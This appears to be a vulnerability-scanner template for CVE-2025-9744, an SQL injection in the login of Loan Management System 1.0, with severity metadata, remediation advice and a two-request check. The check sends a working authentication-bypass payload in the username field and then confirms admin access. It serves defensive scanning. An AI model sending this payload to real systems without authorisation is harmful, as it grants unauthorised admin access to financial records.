id: CVE-2025-9744

info:
  name: Loan Management System 1.0 - SQL Injection
  author: arafatansari
  severity: critical
  description: |
    Loan Management System 1.0 contains a SQL injection vulnerability via the username parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Unauthenticated attackers can bypass authentication and gain full administrative access through SQL injection in the username parameter, potentially compromising the entire loan management system.
  remediation: |
    Upgrade Loan Management System to a patched version that properly sanitizes user input in authentication handling.
  reference:
    - https://www.exploit-db.com/exploits/50402
    - https://packetstormsecurity.com/files/167860/Loan-Management-System-1.0-SQL-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2025-9744
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-9744
    epss-score: 0.01664
    epss-percentile: 0.73658
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2025,auth-bypass,cms,packetstorm,edb,loancms,sqli,vuln

http:
  - raw:
      - |
        POST /ajax.php?action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin'+or+'1'%3D'1'%23&password={{rand_base(5)}}
      - |
        GET /index.php?page=home HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'window.start_load'
          - 'Welcome back Admin'
          - 'Loan Management System'
        condition: and

      - type: word
        part: body
        words:
          - 'login-form'
        negative: true
# digest: 4a0a00473045022100bc01c232eeb3a3d03a6d7e95faa9cdb3152538a1d97d588bd5aee9a20c321d5c022037d821cc20cd1760aababe7fdd9ea6ea3e7003c17b9118bbbf1bf3af33259468:922c64590222798bb761d5b6d8e72950